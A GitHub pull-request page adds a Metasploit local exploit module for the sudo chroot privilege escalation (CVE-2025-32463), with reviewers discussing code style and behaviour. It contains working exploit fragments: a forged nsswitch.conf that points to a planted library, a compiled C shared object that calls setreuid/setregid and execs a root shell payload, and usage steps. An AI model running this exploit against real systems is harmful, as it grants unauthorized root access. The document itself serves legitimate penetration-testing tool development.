-
Notifications
You must be signed in to change notification settings - Fork 14.4k
Adds module for sudo chroot LPE (CVE-2025-32463) #20376
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Adds module for sudo chroot LPE (CVE-2025-32463) #20376
Conversation
a9a701f
to
d50644f
Compare
d50644f
to
14fb001
Compare
# borrowed from exploits/linux/local/sudo_baron_samedit.rb | ||
def get_versions | ||
versions = {} | ||
output = cmd_exec('sudo --version') | ||
if output | ||
version = output.split("\n").first.split(' ').last | ||
versions[:sudo] = version if version =~ /^\d/ | ||
end | ||
versions | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This could likely go into a mixin, as there are already two instances of this pattern in metasploit (see git grep 'sudo --version' | wc -l
)
|
||
return CheckCode::Safe if !file?('/etc/nsswitch.conf') | ||
|
||
sudo_version.gsub!(/p/, '.') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It would be nice to have a comment here to explain what's going on :)
|
||
return CheckCode::Appears("Running version #{sudo_version}") if Rex::Version.new(sudo_version).between?(Rex::Version.new('1.9.14'), Rex::Version.new('1.9.17')) | ||
|
||
CheckCode::Safe('Sudo is not vulnerable') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
CheckCode::Safe('Sudo is not vulnerable') | |
CheckCode::Safe("Sudo #{sudo_version} is not vulnerable") |
|
||
payload_file = rand_text_alphanumeric(5..10) | ||
|
||
upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!/bin/bash\n" + payload.encoded) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!/bin/bash\n" + payload.encoded) | |
upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!/bin/sh\n" + payload.encoded) |
Some targets don't have bash
installed.
|
||
cmd_exec(%(echo "passwd: /#{lib_filename}" \> #{base_dir}/etc/nsswitch.conf)) | ||
|
||
cmd_exec("cp /etc/group #{base_dir}/etc") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
cmd_exec("cp /etc/group #{base_dir}/etc") | |
copy_file("/etc/group", "#{base_dir}/etc") |
|
||
cmd_exec("mkdir -p #{base_dir}/etc libnss_") | ||
|
||
cmd_exec(%(echo "passwd: /#{lib_filename}" \> #{base_dir}/etc/nsswitch.conf)) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
cmd_exec(%(echo "passwd: /#{lib_filename}" \> #{base_dir}/etc/nsswitch.conf)) | |
write_file("#{base_dir}/etc/nsswitch.conf", "passwd: /#{lib_filename}") |
This exploit module illustrates how a vulnerability could be exploited | ||
in an linux command for priv esc. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This exploit module illustrates how a vulnerability could be exploited | |
in an linux command for priv esc. | |
Sudo before version 1.19.17p1 allows user to use `chroot` option, when | |
executing command. The option is intended to run a command with | |
user-selected root directory (if sudoers file allow it). Change in version | |
1.9.14 allows resolving paths via `chroot` using user-specified root | |
directory when sudoers is still evaluating. | |
This allows the attacker to trick Sudo into loading arbitrary shared object, | |
thus resulting in a privilege escalation. |
|
||
'Arch' => [ ARCH_CMD ], | ||
|
||
# chmod has some issues for meterpreter, forcing shell |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It would be nice to open an issue about this as well.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is there any more details here? 👀
Might be an easy fix (or not)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'd also be curious about the details, here?
Curious about what happened when you tried explicit cmd_exec
calls to give commands, too?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Made issue about this here. Will add additional modules, as far as I remember, explicit cmd_exec
was working fine.
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
What kind of things are logged?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
AFAIK, you can add setting to sudo
that will save a log every time you run it along with arguments.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
But this isn't the default behaviour, so I don't think we should have IOC_IN_LOGS
|
||
return CheckCode::Safe if !file?('/etc/nsswitch.conf') | ||
|
||
# as sudo --version returns the version in format [version]p[minor version?], so this removes p |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
# as sudo --version returns the version in format [version]p[minor version?], so this removes p | |
# as `sudo --version` returns the version in format `[version]p[minor version?]`, we need to remove the `p` character. |
|
||
existing_shell = cmd_exec('echo $0 || echo ${SHELL}') | ||
|
||
# puts existing_shell |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
# puts existing_shell |
|
||
return Failure::NotFound, 'Could not find shell' unless file?(existing_shell) | ||
|
||
upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n" + payload.encoded) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n" + payload.encoded) | |
upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n#{payload.encoded}") |
Let's be consistent.
|
||
cd(temp_dir) | ||
|
||
cmd_exec("mkdir -p #{base_dir}/etc libnss_") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
cmd_exec("mkdir -p #{base_dir}/etc libnss_") | |
mkdir("#{base_dir}/etc libnss_") |
Metasploit's (remote) mkdir behaves like mkdir -p
.
return Failure::PayloadFailed, 'Failed to copy /etc/group' unless copy_file('/etc/group', "#{base_dir}/etc/group") | ||
|
||
exploit_code = %< | ||
#include <stdlib.h> |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why is this included needed? setreuid
, setregid
, chdir
and execve
are all in unistd.h
.
execve("#{datastore['WritableDir']}/#{payload_file}",NULL,NULL); /* root shell */ | ||
}> | ||
|
||
upload_and_compile("#{temp_dir}/libnss_/#{lib_filename}.so.2", exploit_code, "-shared -fPIC -Wl,-init,#{base_dir}") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is there any context on why we need to upload and compile our own payload here, I think there's existing payload prepend flags in framework for uid/gid setting - or was chdir
the hard-blocker here 👀
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
IIRC, the payload needs to chdir
to exit from chroot
. That being said, I think the bigger blocker might be the fact that payload needs to act as , the constructor for some reason, so I preferred to compile things on fly. libnss.so
library, so for that reasonBut I'll do some tests, see if it might work without compiling anything. After some tests, it seems like generate_payload_dll
does not do the trick, because the payload needs to run before main
(?), so whatever we want to run, it should be run as init
- __attribute__((constructor))
. I haven't come across such options for metasploit payload, so I left it as it is.
# force exploit is used to bypass the check command results | ||
register_advanced_options [ | ||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), | ||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
class MetasploitModule < Msf::Exploit::Local | ||
Rank = NormalRanking | ||
|
||
include Msf::Post::File |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Msf::Post::Linux::System
and a host of the other modules used here already include Msf::Post::File
, thus they have access to it's methods. Including Msf::Post::File
here is redundant. Msf::Post::Linux::System
## Vulnerable Application | ||
|
||
|
||
Sudo before version 1.19.17p1 allows user to use `chroot` option, when executing command. The option is intended to run a command with user-selected root directory (if sudoers file allow it). Change in version 1.9.14 allows resolving paths via `chroot` using user-specified root directory when sudoers is still evaluating. This allows the attacker to trick Sudo into loading arbitrary shared object. As target shared object, Name Service Switch (NSS) operations are trigged before resolving sudoers, but after running `chroot` syscall. The module requires existing session and requires compiler on target machine (e.g. `gcc`). |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Might be worthwhile to explicitly state versions 1.9.14-1.9.17p1 are vulnerable in the first sentence. No one wants to dig to find the second bookend. Ain't nobody got time for that(TM).
This PR adds a local module for CVE-2025-32463 - local privilege escalation in sudo before version 1.9.17p1. The module requires existing session and ability to compile C payload on the target machine.
Vulnerable Application
Sudo before version 1.19.17p1 allows user to use
chroot
option, when executing command. The option is intended to run a command with user-selected root directory (if sudoers file allow it). Change in version 1.9.14 allows resolving paths viachroot
using user-specified root directory when sudoers is still evaluating. This allows the attacker to trick Sudo into loading arbitrary shared object. As target shared object, Name Service Switch (NSS) operations are trigged before resolving sudoers, but after runningchroot
syscall. The module requires existing session and requires compiler on target machine (e.g.gcc
).Installation of vulnerable sudo:
Verification Steps
use linux/local/sudo_chroot_cve_2025_32463
set lhost [attacker IP address]
set lport [attacker port]
run
Options
COMPILE
Option setting if compile target payload on the target.
COMPILER
Option setting the compiler to compile target payload.
Scenarios